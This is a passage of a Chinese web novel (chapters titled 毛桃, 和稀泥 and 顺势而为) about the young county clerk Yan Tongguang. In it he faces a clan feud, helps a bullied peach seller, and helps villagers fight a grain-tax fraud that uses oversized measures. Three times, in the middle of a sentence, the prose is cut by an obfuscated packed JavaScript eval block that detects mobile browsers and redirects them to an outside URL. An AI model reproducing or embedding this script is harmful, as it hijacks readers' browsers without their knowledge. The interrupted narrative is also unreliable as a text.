可偏有个装傻的奸秀才跳出来,一把撕碎遮羞布:装什么呀,我们早就知道啦。 那一瞬间,牛兴不免觉得自己像个傻子,多年忍耐轰然倒塌! 这些日子他维护晏同光,未必真觉得对方好,只是胡乱找个由头借机向牛旺倾泻压抑多年的火气而已。 你不是瞧不上自家兄弟么?好,你不喜的人,我偏要相帮,能怎地! 来人谁都不敢得罪,听了这话只是头皮发麻,眼珠乱转,“这个,成不成的,还得县太爷拍板呢,何必现在就闹开?” 两边以前不是没闹过,可没有一次像今天这样吓人,怕是要动真格的了。 牛兴瞥他一眼,“等?做他娘的春梦去吧!” 说完,转身就走。 这些人都是烂泥扶不上墙,力一点儿不想出,利丁点儿不往外吐,都是一路货色。 还等县太爷拍板?拍也是拍他妹夫的板儿! 自此之后,牛兴和牛旺的矛盾激化,没再说过一句话,甚至连一间屋子里都难待,一个在内,另一个必然拔脚出去。 吏房谁都不敢再说甚么,只是坐立难安,一个两个得空就往外窜,活像里面有洪水猛兽。 牛旺越发看晏同光不顺眼,奈何对方在刑房,伸不过手,只能故技重施,弄些不疼不痒的绊子恶心人。 而牛兴似乎决意要与他对着干,倔劲儿上来,竟公然与晏同光打招呼,一时被六房众人奉为奇景。 王恒看得直嘬牙花子,赵老三更满腹狐疑,“你给牛兴灌了什么迷魂汤!” 晏同光满脸无辜,“我哪儿有那么大本事,大约是他人好吧。” 真不枉自己过去几个月软磨硬泡,总算初见成效啦。 赵老三:“……” 赵老三抬手往他脑瓜子上糊了一巴掌。 好小子,翅膀硬了,开始糊弄老子了! 几日后,连牛家族老都知道了,还特意找牛兴说话。 不说还好,一说便如捅了马蜂窝,牛兴越发火冒三丈,拍案而起,“怎么,我竟做不了自己的主了!在外头说什么做什么,跟谁称兄道弟,非要他牛旺点头不成?我倒成了他的奴才秧子了!” 什么阿物,多大年纪的人了,还跟家里告状! 即便告状,怎么不问牛旺,却来问我?我是泥捏的,任人捏扁揉圆不成! 牛家众人没想到他这般大火气,齐齐唬了一跳,连连劝慰,“到底是一家人,打断骨头连着筋,你们还是堂兄弟……” “兄弟?哈哈,好个兄弟!”牛兴从牙缝里挤出几声讥笑,指着外头道,“你们且问问他,问问同族,他心里眼里何曾有过我这个哥哥!几次三番与我没脸!外头人谁不知道,咱们老牛家出能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661295|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人啦,堂堂吏房典吏,好不威风!走到哪里不是前呼后拥,怎么,还要我给他当轿夫么!” 连衙门里新来的傻子都知道上下尊卑,偏一大家子装傻卖痴,算甚! “我在衙门里说什么做什么要管,与人好歹他也要管,我是他家的猪狗还是牛马?”牛兴越说越气,狠狠往地上啐了一口,青筋鼓胀,双眼赤红,“呸,狗日的,他算什么能人?典吏的位子还不是祖上几代人打拼出来的,他运气好,投胎在本家,得了这巧宗儿,依我说,只偷着乐倒罢了,偏他不知足,在我跟前卖弄,他也配!真当自己是打江山的好汉了么?” 好一番连嘲带骂,偏他说得确有其事,牛家上下俱都讪讪,无法反驳。 还是牛兴的亲爹倚老卖老上前,“话虽如此,到底是自家事,关起门来什么不好说?你却在外头闹,与他人作美,岂不叫人看笑话?” 这话其实已经承认是牛旺有错在前,分家忍辱负重为大局。 “笑话?”牛兴不怒反笑,“咱们牛家早成了笑话啦,还用得着等今天?” 众人都晓得他说的是牛旺放着自家人不提拔,反倒偏向外姓妹夫的事,想起来也是窝火。 角落里不知谁嘟囔一句,“依我说,旺哥儿这事儿做得就不地道,怨不得兴哥儿恼。” 典吏的位子一旦交出去,可就不姓牛了,以后再想这么体面,只怕难! 好日子一去不复返喽。 有本来就捞不着的人跟着说:“这事儿本也不是旺哥儿说了算,还得大老爷点头。” 反正怎么算都落不到我们头上,爱给谁给谁。 方才说话那人不乐意了,“你这话什么意思?胳膊肘向往拐?” “就是,肉烂了好歹在锅里,都是姓牛的,谁吃不是吃?你可别糊涂!” “吃?说得好听,还不是你们吃肉,我们喝汤?” “肉汤不是肉?” “放屁,你倒是天天喝汤,我吃肉去!” 眼见一群人就此吵嚷起来,几位族老脑瓜子都嗡嗡的,狠命往地上杵着拐棍儿,“住口,都住口!成何体统!” 又指着那几个浑水摸鱼的骂,“叫你们来商议事的还是吵架的?再多嘴就去祠堂跪着!” 老爷子狠狠剜了那几个一眼,都是不成器的。 谁没有私心?以往没有外患时,牛家内部关起门来自己争抢,也时常闹得披头散发、头破血流。幸而有了外患,难得一时团结,都只瞧牛旺的妹夫一家不顺眼。 可终究本性难移,刚有点苗头,就又对着自家人喊打喊杀,像什么话! 牛兴也是憋得狠了,趁机将多年来的种种不快都吆喝出来,喷了对面几位族老满脸唾沫星子,最后干脆利落地摔门离去。 15.毛桃 天热,难免胃口不佳,衙门大伙房里闷得像蒸笼,一进一出活似水洗,饭菜也寡淡难以下咽,众人便常在外打牙祭。 五月二十这日晌午,王恒强拉着晏同光去外面吃,“走走走,那井水都是温的,绿豆汤也不清爽,再放该发臭了,我请你吃冰碗子!” 酷暑难熬,多有人提前深挖地窖,冬日造冰存放,覆数层麦秆、棉被等物保温,夏日高价卖出。 冰碗乃是用一整块冰凿成碗状,内置各色鲜果,淋入甘甜浆酪,十分美味,只价格昂贵,小小浅浅一碗便要五十钱,够一家人吃一天了。 “那我可有口福了!”日常晏同光是不大舍得的,笑呵呵道谢。 实在是热,天上泼火似的,远远看去街景都浮动着扭曲了,模模糊糊浑似梦境,两侧树上的蝉也如叶片般蔫哒哒的,高一声低一声叫着。 来不及出汗,汗水在毛孔里就被烤干了,渗出来的只有油。 所有人都紧挨着两边树荫走,饶是这么着,喘口气亦如吞火,五脏六腑都干焦焦的带着土腥味。 “这鬼天气……”王恒一边呼扇着衣袖一边咒骂。 奈何扇出来的风都是干的热的,扑在脸上犹如烙饼。 “晏兄?”晏同光下意识停步回头,后面一个二十来岁的长袍书生快步上前,“果然是你。” “李兄,文博?”晏同光认出是当年考秀才时的同科,十分欢喜,“许久不见,你今日怎得不在学里?”又给两人相互介绍。 李文博和王恒相互见礼,前者却在看见他们身上的吏员服饰时飞快地蹙了下眉。 王恒很识趣,“忒热,我先行一步。” 晏同光对他歉然一笑。 待王恒离去,李文博便道:“之前我便隐约听谁提起,说你进了衙门,我还不信,没想到……晏兄,人往高处走,水往低处流啊,之前你守孝,去不得县学,这是没奈何的事情,可想你也是名动一时的少年秀才,怎好,怎好……” 他张了张嘴,显然本来有更难听的话,碍于晏同光的面子没说出口。 十四岁的秀才,在康阳县这种小地方是何等难得! “这里的书和卷宗可不比县学少呀,”晏同光笑道,“如今我可是手不释卷……” “这如何能比!”李文博很不赞同,痛心疾首,“县学内可习君子六艺,有朝廷派遣的教谕、教师讲解,可衙门里三教九流嘈杂、鸡飞狗跳不歇,耳根不得清净,哪里是正经读书人好待的!荀子曰,蓬生麻中,不扶而直;白沙在涅,与之俱黑,长此以往可怎么是好!” “李兄,”晏同光沉默片刻,“你我不过考场之缘,不曾想竟有这等肺腑之言,我甚是感激。可是李兄,我无父、家贫,更有寡母要赡养,顾不了那么多的。” 若有得选,谁不想衣来伸手饭来张口,谁不想风花雪月诗酒歌,而不是油盐酱醋柴米茶。 可他没得选。 现在家中只他一个男丁,他得撑起来。 李文博的眼睛微微睁大了些,“我……那也不能这样。” 到后面,声音已经变小了。 他一时激愤,未曾想过晏同光家中已落魄到那般田地,不免有些羞愧。 虽已过去几年,但他对晏同光这个年轻秀才印象极深,还曾为县令仅因为对方年纪尚幼便不许他廪生而抱打不平……故而见晏同光竟进了衙门而不专心读书,李文博又气又妒,觉得他着实挥霍天赋。 可李文博的家境不过平平,还有一个弟弟这两年也开始启蒙读书,实在没有余力接济他人。 两人一时都有些沉默。 蝉鸣声震耳欲聋。 不知过了多久,李文博才作了个大揖,“是我冒失了。” 晏同光还礼,倒是有些高兴,“无妨。” 日久见人心,他本就与同科们差着岁数,交情不深,自打进了衙门,那些人便更不屑来往了,没想到突然冒出个李文博,实为意外之喜。 见李文博难掩尴尬,晏同光主动转移话题,“你眉宇之间并无苦涩,又这样天气巴巴儿跑来衙门,是为乡试?” 八月乡试近在咫尺,康阳县距省城不近,书生们又不耐夏日颠簸,想必走平坦官道也得十多日,衙门已经暂定七月初九启程,眼下五月过半,一应文书可不要加紧办理了。 见他豁达,李文博也笑了,“果然瞒不过你。” 顿了顿,又问:“你不去么?” 晏同光摇摇头,“实不相瞒,当初我年轻气盛,也曾怨过县太爷吹毛求疵,拦我于廪生之外。可这几个月我遍览衙内藏书、邸报、卷宗,颇有所感,倒觉得大人当时的评语恰如其分了。” 李文博难掩惊讶,盯着他看了会儿,见他神色坦荡,目光澄澈,确认不是在强撑,这才松了口气,也为他欢喜,“祸兮,福之所倚,福兮,祸之所伏,果然如此。” “自来好事多磨,我也是这样想的。况且我这点境遇比起古往今来那些大贤的起伏,实在算不得什么。”晏同光笑道,“对了,月初衙门里才来了几卷邸报和省报,还有两本各地政务汇编,你可要看?” 李文博两眼放光,“可使得?!” 这样好东西,县学都少见,纵然邸报和省报能到手,起码要一个月之后了,况且僧多肉少,还不知什么时候才能轮到他。 至于政务汇编,那是听都没听过的。 “原件自然是不行的,”晏同光失笑,“不过我已悉数背会了,这两日默写出来与你。” 非亲非故,难得李文博这般赤诚待他,他也愿意投桃报李。 “多谢多谢!”李文博大喜过望,“差点忘了,去岁我便行了冠礼,先生为我赐字,阅知。” “阅知。”晏同光记下,“此处人多眼杂,不便交割,五日后傍晚你往薛记针线铺子里寻我。” 正好过两天去送货。 李文博呆住,“针线铺子?” 晏同光大大方方点头,“你也知我爱几笔颜料,日常还在那里寄卖,生意好时能赚不少呢!” 李文博目瞪口呆,良久才由衷感慨道:“同光啊同光,真不愧是你。” 如此心性,日后前途未可限量! 稍后晏同光与王恒碰面,顺道说了李文博的事情,“若哪日我不在衙门,烦请老兄多加关照。” 王恒满口应下,复又唏嘘,“倒是个难得爽快人。” 晏同光亦是感慨,“我本以为他会与我割席……” 近日刑房差事不多,又有旁人值守,晏同光和王恒在馆子里待到日头西斜才往回走。 街边有老汉卖桃儿,带了一壶水也不舍得喝,小心翼翼洒到盖着桃子的枝叶上滋润,生怕晒坏了。 又要避开桃子,惟恐沾湿腐烂。 晏同光抬脚过去,“老丈,这桃儿怎么卖?” 正有些馋,买些与同僚们解渴。 那老汉老眼昏花,未辨方向便哑着嗓子回道:“自家种的,不好看,可甜着呢,客官若要时,两文钱一斤……” 话音未落,晏同光与王恒已到近前,老汉眯着眼看了一会儿,看清他们身上黑色镶红边书吏服制顿时吓了一跳,“差,差爷!”慌忙改口,“不值钱的,差爷们只管拿去吃……” 晏同光和王恒俱都一愣,旋即明白过来:他一定曾被衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680536|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 役欺压过,所以才这样害怕。 王恒暗骂不休,也不知是哪个不干人事的贼厮,这般带累我等名声,难怪那姓李的秀才方才那般眼神。 “老丈莫怕,”晏同光温声安慰道,“我是真心要买,绝不为难你。” 老汉不敢信,拼命摇头摆手,又颤巍巍抓起几颗桃子,用粗糙龟裂的大手擦去浮毛,弯着腰用力送到他们面前,“不要钱,真不要钱……” 以前不是没有衙役这样说,自己当了真,可真称斤报价时,对方却哄笑出声,抬脚就将桃筐踢翻,“你这老货,好不晓事!老爷们出门公干却是为了谁?吃你几个桃儿是抬举你……” 说罢,留下一地汁水四溅的烂桃,骂骂咧咧一路去了。 王恒既羞且气,不自觉抬高声音,“你这老丈怎如此固执!” 才说完,却见老汉浑身发颤,浑浊的老眼中都带了惊恐,忙住了嘴,十分后悔。 晏同光叹息一声,“老丈,许是恁老家远,不知道城中大事,如今衙门里换了新老爷,为人倒颇公正,早已不许这样的事再犯,恁老只管放心卖桃。” 他是个面嫩书生,声音又和软,如此这般安慰几回,老汉才半信半疑道:“当真?” “当真!”王恒将胸脯拍得啪啪响,豪气干云,“我姓王,单名一个恒字,便是刑房经书,若谁再这样,老丈恁只管报我的名号!” 老汉这才信了,老树皮般的脸上堆满笑,朝着衙门方向连连作揖,“阿弥陀佛,阿弥陀佛。” 王恒二话不说就要买桃,也不挑,不拘那大的小的全都装起来。 桃子确实不大好看,绿多红少,绒毛又厚,灰扑扑的,最大的也才二寸许,有的有裂,有的因为摞在外面,烤得略有些皱巴,还有的大约是路途遥远,被磕碰了,有些变色,但才凑近便闻到一股浓郁的果香,叫人津液四溢,可见确实是好桃。 老汉又惊又喜,又有点儿不敢相信的迟疑,“差爷,两筐怕有五十斤哩,天热,怕坏,您别买这么些。” 王恒浑不在意,“衙门人多,这些还不够吃呢,怕甚!你家里若有,明日后日我还要!” 老汉忙道:“没了没了,只这么两棵树……” 又要称斤,王恒不许,胡乱塞给他一把钱,少说也有三二百,拔腿就走,“筐钱!” 晏同光本想再问几句,结果王恒不打个招呼就跑,那老汉追不上,一连忐忑地要把钱给他,“差爷……” 箩筐是自家编的,本就打算白送的,如何敢要钱呢? 晏同光回神,也拔腿就跑,“不是我的钱!” 难为王恒提着五十多斤桃子还跑得飞快,晏同光在后面追得大汗淋漓,“等,等等我!呼呼!” 王恒做贼似的往后瞥了眼,见只有他才停下来,得意洋洋道:“啧啧,你这身子骨得练,不然上了考场有你受的。” 举人不同考秀才,要在号房内一待数日,八月天又闷又热,多少考生不等考完就病倒了。 晏同光扶着膝盖猛擦汗,“别看了,我都差点撵不上……”指望老丈会飞不成? 就王恒这体魄,干书吏怕是屈才了,合该文武并重。 不过他说得很有道理,自己守孝三年疏于锻炼,也该重拾起来。 两人在树荫底下歇息片刻,晏同光才说:“我还想问问之前是谁为难老丈呢。” 有机会一并料理了。 王恒重新背起篓子,神色莫名,“他们不敢说的。问也白问。” 但凡家里有别的出路,也不至于一把年纪还顶着能晒死人的酷暑卖野桃儿。 牛旺之流酷吏不除,终难清净! 16.和稀泥 五日后李文博果然如约而至,在薛记针线拿了晏同光给的邸报等物后,又递来一个青布书囊,“这是各位大儒的讲注和心得……” 学里偏重读书做学问,各路教师都是朝廷钦派的,有不少历代教师收集的大儒大贤标注刻本,李文博不愿白赚人情,这几日努力抄录许多,算作回报。 晏同光不曾想还有这意外之喜,当真如获至宝,日夜品读。 都说常看常新,这话不错,虽是老生常谈的四书五经,但大儒们自有论道,往往三言两语便有拨云见日之感,更兼引经据典、才气纵横,天籁之声贯通寰宇,其清澈通透亦非官员言辞可比,叫晏同光大呼痛快。 经了此事,晏同光又同李文博走动起来,两人时时畅谈感悟,大论世道人文,皆有所获。 期间李文博数次登门造访,晏母见儿子果不曾丢下学业,还交了正经读书人朋友,甚是欣慰。 不知不觉进了七月,李文博与康阳县其他秀才奔赴省城乡试,县令胡元宗亲自相送,晏同光亦混在人堆儿里送了一回。 回家的路上,晏同光颇有几分感慨,既有目送同科赴考,自己却因种种原因只能原地踏步的惆怅;又有清楚自己每一天都在进步,对未来筹谋渐趋清晰的期待…… 不过即便大家眼下选了不同的路,总是为了更好的将来奋斗,也算殊途同归吧。 晏同光回家就发现有客,因笑道:“婶子难得来一趟,可别急着家去了。” 来人姓刘,与晏父沾亲带故,对他们母子多有关照,眼下家中几亩田地便托她家代为耕种。 刘婶子苦笑道:“这回怕还真急不来。” 七月流火,白天有日头的时候还很晒,晏同光一路走来满身油汗,又有尘土,活像和了泥,便先去打水,洗漱更衣。 待换过衣裳,晏同光才又过来相见,“婶子可是遇到什么难事了?” 晏母冲了一杯山楂枸杞水与他消暑解渴,忧心忡忡,“乡亲们遇着事儿了,今年衙门里收粮,竟比去岁多好些呢!” 朝廷要运转,少不得各地供奉,其中很大一部分就是农业赋税,有粮食的交粮食,没粮食的按市价折算成银子。 最近衙门就在忙活各地催粮入库一事,晏同光也是知道的。 因他有功名,不必交税,刘婶子家和其他几家往他名下放了几亩地,可各家还有一小半是要交的。冷不丁出了这个变故,乡亲们都没头苍蝇似地乱起来,闹了一场,险些惹恼来收税的衙役。 还是有人突然想起来,说现下晏同光便在衙门任职,就托刘婶子过来帮大家伙儿问问。 晏同光一怔,“朝廷收税素来是按上中下田产量单算,从未变过,县尊更并未刻薄,可是谁胡来的么?” 上中下田是朝廷一早核定好了的,除非某地突遭天灾,粮食锐减,朝廷才会派下钦差亲自核实,否则绝不会变。 “我们哪里知道这里头的事呢?”刘婶子叹道,“田亩倒没变,中田还是中田,下田还是下田,交粮还是用升量。大家伙儿都是先在家里称量好了的,哪里敢少一粒米!可倒进差爷们带来的升具里一瞧,竟还欠着一指头肚呢,少说也能熬几大碗粥!” 一升就差这么些,一家子加起来还了得?省省都够吃好几天了。 这样的伎俩傻子都明白,分明是有人想吃差价: 收税的故意事先做了大升,为的是多从百姓手中抠粮食,然后照足斤升具交给衙门,中间多出来的偷出去换银子瓜分。 户房! 户房专管一地赋税,定是上回联合吏房偷抬商税未遂,便将黑手转到征粮纳租上来。 这都敢碰,真是狗胆包天,有恃无恐!可见过去那些年他们嚣张到了何种田地。 若再这样下去还了得? 晏同光不禁为始作俑者的胆大而震惊,“可有人受伤?” “谁家日子不是紧紧巴巴的,当时就有人不愿意了,跑去拿了自家升具来核对。可那些当差的一把抢过去就砸,说刁民偷粮,这些升具自然也是不准的。”刘婶子犹豫了下,紧张地搓着手,“有几个小子性急,上去与他们推搡,挨了几下,乡下人粗糙,倒没什么要紧,可那些差爷们说这是以下犯上,要拿了下大狱,又说什么不纳粮食造反的话,大家伙儿都害怕……哥儿,民犯官呐,这,这要不要紧?” 常言道,民不与官斗,寻常小老百姓哪里见过这个阵仗?故而一听就被唬住了。 还是村里的老人有见识,说朝廷是好朝廷,断不会有这样的道理,难不成天下就没了王法么?倒不如先稳住,再托人去城里问问。 若有法儿呢,自然好;若没法儿,也只好这么着了。 “他们算哪门子官!”晏同光骂了句,又安抚刘婶子,“不要怕,县尊不是这样的人。” 听他这么说,刘婶子猛地松了口气,终年风吹日晒的脸上终于有了笑模样,“那就好那就好,我们也这么说,朝廷怎么能不叫咱们活了呢?” 晏母笑着拍拍她的手,“总有法子的。” “粮食交了么?”晏同光问。 交粮后差役会派个条子,纳粮者确认无误后按手印,之后差役们便会将同一个村的粮食拢到一起。 一旦混起来,可就说不清了。 刘婶子连忙摇头,“那日闹得不像话,附近几个村子的人都在,都憋着火,衙门的人才十来个,怕出事,便撂了狠话走了,说过几日还来。” “那还好……”晏同光心里慢慢有了计较。 士人最推崇儒家的“仁义礼智信”,对自家有恩的乡亲们来求,晏同光不可能不管。 可怎么管?从何处下手? 断人财路,便如杀人父母啊!对方绝不会坐以待毙。 连着这两出刮地皮的手段都太浅露太粗鄙,胡元宗再怎么样都是要脸面的人,绝不可能出自他之手。 但胡元宗也爱财,这事儿晏同光知道,近一年下来,幕后黑手未必不知。 普通百姓手中大多是中田和下田,亩产有限,但乡绅、大户名下多有肥田、庄园,不下百亩千顷,却是个大数目。 倘或主使者决意打通胡元宗的关节,自己背负恶名,却转头将绝大部分利润拱手奉上,这样白来的实惠…… 所以要快,赶在一切可能发生之前。 对手是谁? 是户房和吏房,或许还有六房之中的其他人,多年经营,根深蒂固,很强大,至少目前对一个十八岁的穷秀才而言,很强大。 队友是谁? 事关切身利益,尘埃落地之前,外人都不能作为切实的指望,赵老三是,牛兴亦如是。 晏同光本以为自己会怕,但出乎意料的,名为“恐惧”的情绪在他意识到“机会”二字时便瞬间消散,快得仿佛从未来过。 取而代之的是崭新的兴奋。 内心深处某种陌生的情绪悄然滋生,疯狂蔓延,他的心脏砰砰直跳,太阳穴两侧的血管好像都被撑开了,异样的嗡鸣环绕热气上涌,催得他很有点飘飘然。 赌徒,像极了曾经父亲说过的赌徒…… 但他愿意试一试。 寒门难出贵子,更何况他家连寒门都算不上,只是穷。 没钱,没人,想拜师掏不起束脩,想读书出不起书资,想文会凑不齐茶钱。 世家大族代代传承,好物从不外流,在康阳县这种小地方,没有甚么慷慨大方真名士济世渡人,自然也不会有任何奇遇,他想找几本正经好书都得绞尽脑汁先往衙门里钻…… 科举取仕,谈何容易! 衙门,衙门……对了,衙门! 衙门中多有敌人,但也有我可利用之处! 牛兴是一个,胡元宗,也是一个! 假设敌人以利诱之,我为何不能? 怕打扰到晏同光想法子,晏母和刘婶子俱都不敢出声,良久,见他微微动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694518|155679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹了下才跟着狠喘了口。 晏同光想了一回,“婶子,那些人狗仗人势许多年,实在该整治整治,不过若只小打小闹,大老爷贵人多事,恐怕懒怠管,你们且先将受伤的那几个好好看看大夫,小伤也不要不管,我记得村里有识字的老先生,带着一并去,盯着大夫好好写几个药方子,越细越好。” 凡大事可以化小,小事可化了,若只推搡自然没什么,可若是给人家打得头破血流呢?若是把一群老百姓打得起不来呢? 庄稼人以身体强健为傲,纵有不痛快也是忍着,就怕叫左邻右舍看了笑话,刘婶子性子直,一时间没想明白,“种地的哪个不磕磕碰碰,倒也……” 还没说完,晏母就从旁边轻轻碰了碰她,低声道:“你看真闹到大老爷跟前的,哪个不是头破血流?” 刘婶子啊了一声,眼睛都瞪大了。 这,这不是讹人吗? 晏同光耐心道:“婶子,衙门的人没动手么?” “动了,我还能扯谎?” “乡亲们没被打么?” “打了,那么些人都被撵得嗷嗷乱叫呢!” “既被打,就该请大夫,对不对?难不成咱们就合该命贱,白白给人打了?” “……对!” 隔壁村有个老大夫,医术很好,若只叫他看看、写药方,并不费什么本钱。 一番交谈直叫刘婶子胸口突突直跳,活像误入了什么不得了的要命地方。 她定定地看着晏同光,还是那样的斯文俊秀,可说出来的话咋就那么可信呢! 此刻晏同光脑子里转得快要飞起来,哪里顾得上刘婶子的审视,“婶子,若我豁出去前程、性命替你们出头,你们可敢夺了他们的假升具,与我当堂指认么?” 那假升具过后必然或被毁,或藏匿,一定要提前拿在手里。 告状讲究人证物证俱在,晏同光可以替他们开路,但必须有人豁出去托举,更不能有人反水,不然就是诬告。 届时别说为民请命,只怕这康阳县内再无他的容身之处。 刘婶子没想到突然就到了这一步,当场愣住。 但她是个极有胆量有见识的女人,不然村民也不会推她出面,于是短暂地沉默后再次开口,“哥儿,能成么?” 这可是状告差爷们呐,如不成,乡亲们就真的没活路了。 事关重大,晏同光并不大包大揽,郑重道:“若乡亲们都豁出去拧成一股绳儿,必然能成。可若有临阵退缩的,婶子,我也好,乡亲们也罢,便是个尸骨无存的下场。” 晏母紧张地看了儿子一眼。 母亲的本能几乎让她脱口而出,儿啊,别管了,你是秀才,咱家不必纳税,这些事总不至于落到咱们头上,由他去吧。 可做人的良心却又叫她住口。 过去几年家中艰难,亡夫没有亲兄弟,她娘家隔得远,孩子又小,一概入殓、抬棺、下葬并打点作法事,皆是乡亲们帮衬。 况且儿子又是衙门的人…… 乡亲们难得开一回口,于公于私,都不该回绝。 刘婶子咬牙思索半天,“哥儿,我晓得厉害,若只我一家,说不得现在就咬指头画押,可乡亲们人多家口大,我却做不得他们的主。可咱们那边多有血气方刚的乡亲,我这就家去同他们说,不光咱们村,左近几个也要。” 晏母忙道:“人多口杂,可千万别走漏风声。” 刘婶子是个风风火火的性子,想到这里便等不得,当下起身,“这个自然,我这就去了!” 母子二人紧跟着送她到门口,看着她脚步飞快地往城外去,晏母忍不住问:“果然能成么?要不……” “您放心就是,我不会乱来。”晏同光笑着安慰她说。 很难,但只要操作得当,未必会像他说的那样危险。 绝对值得一试。 斩草不除根,春风吹又生,他需要帮手。 17.顺势而为 “光哥儿才多大?又是为咱们出头,老少爷们儿们都当缩头王八,没得叫人寒心!”刘婶子刚回家便依言见了村长,请他召集众人议事。 老大夫也被请了来,挨着给被打村民望闻问切。 几十号人在屋子里、院子里挤了个满满当当,辈分高、年岁大的坐着,年轻力壮的只好站着蹲着,方才还时有窃窃私语,刘婶子话一说完,顿时鸦雀无声,皆面面相觑起来。 “衙门的人……咱们怎好鸡蛋往石头上碰……” 人群中不知是谁嘟囔了句。 仿佛不管到哪儿都有这种人,无事时跳得最高,有利时跑得最快,抱怨时偏他声音最响。 “放你娘的春秋大屁,旁人便是天生地养的不成?!”刘婶子不惯着他,大步流星过去,径直从人群中揪出一个来,朝着他的脸骂道,“亏你长了这么大块头,竟是个缩头乌龟活王八!” 那人一张脸涨得血红,众人纷纷哄笑出声。 见乱哄哄的,村长拍拍桌子,“这是笑的时候么?” 又问刘婶子,“依你看,光哥儿是个什么意思?” 虽然晏父不在了,但好歹曾是典吏,在村中极有威望,如今他儿子起来,连带着与之亲近的刘婶子也得了器重。 “依我说,谁出力谁得益!”刘婶子慢慢拿眼睛看了一圈,方才被她揪出来那厮躲闪不迭,压根儿不敢抬头对视,“跟咱们种地是一样的,不干活就饿死,没得干仰着脖子等老天赏饭吃!咱们先写个生死文书,决心跟着闹一场的,谁也不许半道儿当王八!若成,好儿自然先紧着签文书的,若有剩下的,爱给谁喝汤便喝汤,旁人不许讨。若不成,也怨不得旁人……” 她跟晏同光想得一样,没道理自己在前头冲锋陷阵,后头一群人扯后腿。 法不责众,这么多人一起闹,难不成衙门还能都打杀了? 要么一起干,要么滚蛋! 有血气方刚的汉子跳出来,“干就干,脑袋掉了碗大个疤,怕他怎的!” “就是,难不成白给他们欺负了?” 有想跟着浑水摸鱼的见被识破,嚷嚷着不好,“我腿脚疼痛,老爹老娘八十多岁,下不得炕,孙子还在吃奶哩,如何做得?” 跳出来的汉子嗤笑道:“怎么做不得?刚好做得!你只管把老爹老娘抬到村口,哪个衙役敢打死了老残废不成?” “狗日的!”那厮登时恼羞成怒跳将起来,挥舞着拳头要打,奈何本事不济,三两下便被扭住了,又哎呦哎呦喊疼。 “行了!有这本事对着外人使去!”村长听不下去,耷拉着脸喝道,“我看这个法儿好!这回抢咱们的粮,下回就能夺了咱们的地!想当初咱们村也是十里八乡响当当的,如今被欺负到头上来屙屎屙尿,祖宗面儿上也难过!” 这回的事明面上看是刮地皮,暗地里就是欺负他们村没人了! 以往光哥儿他爹在时,哪个不给三分薄面?即便那些人私底下有什么龌龊勾当,哪个不提前打招呼?哪回不是单独绕开他们村? 可这回呢,竟直接打到家门口了! 这个祸头绝不能开,一旦开了,那些人知道他们村好欺负,日后就刹不住了! 村长眼底划过一丝狠戾,又意有所指地说:“光哥儿是大家伙儿看着长大的,早早便中了秀才,素来是个有主意的,保不齐哪天再中举、做官!你们别仗着辈分拿腔捏调,只把他当个寻常娃娃使唤,我头一个不许。咱们不去求告便罢,既去了,又怕这怕那,是要逼着光哥儿同咱们生分呐!” 众人一听,都不敢嚷嚷了,不少人虽有些不以为然,心道那举人老爷岂是好中的?一座县城里还不一定有一个呢! 可万一呢? 就算自己等不到,儿孙还等不到么? 早年那家人搬去县城,隔得远了,便已有些生分,若再…… 一直在慢吞吞把脉的老大夫听了,掀起下垂的眼皮瞅了村长一眼,从腰间摘下随身携带的细长小荷包,打开却是个草纸卷子,内中一管干了的毫笔。 他先将草纸铺平,四角用重物压住,小心翼翼顺了几回,这才把笔头往舌尖上润了润,慢慢书写起来,喃喃有声,“今有伤患若干,因围殴而致……” 写到这里,老大夫的动作顿了顿,复又抬头看看那两个额头擦破油皮,伤口边缘已然开始收缩的汉子,继续面不改色写道:“……而致破头流血,实难站立……” 次日上衙,晏同光坐在书桌面,瞧着是在整理文书,实则心思早飞出去八丈远。 “想什么呢?”王恒笑嘻嘻从外面进来,把手里捏着的一封点心分与他吃。 晏同光回神,见是一包六瓣莲花酥,染成浅紫色的饼皮剪开六瓣,绽出层层酥皮,裂口中透出分量十足的猪油枣泥馅儿,便拿了一块吃,果然酥脆掉渣,香甜可口。 天色尚早,衙门不大忙,刑房好多人都躲懒去了,晏同光示意王恒附耳过来,低声将收粮的猫腻说了。 王恒抹抹嘴上点心渣子,惊讶又不是那么惊讶地道:“你我皆有功名在身,无需纳税啊!” 晏同光道:“不是我,乡亲们……” 王恒浑不在意,甚至有点恨铁不成钢,“一发算在你名下便是,值甚么!乡亲们不必向朝廷纳粮,省下许多,额外单独包一份与你,如此一来,都得了实惠,岂不美哉?” 有功名的哪个不是这么干的?不然为甚苦哈哈读书科举? 给人看出来又怎样?这是朝廷默许的读书人特有的体面! 太明目张胆了吧? 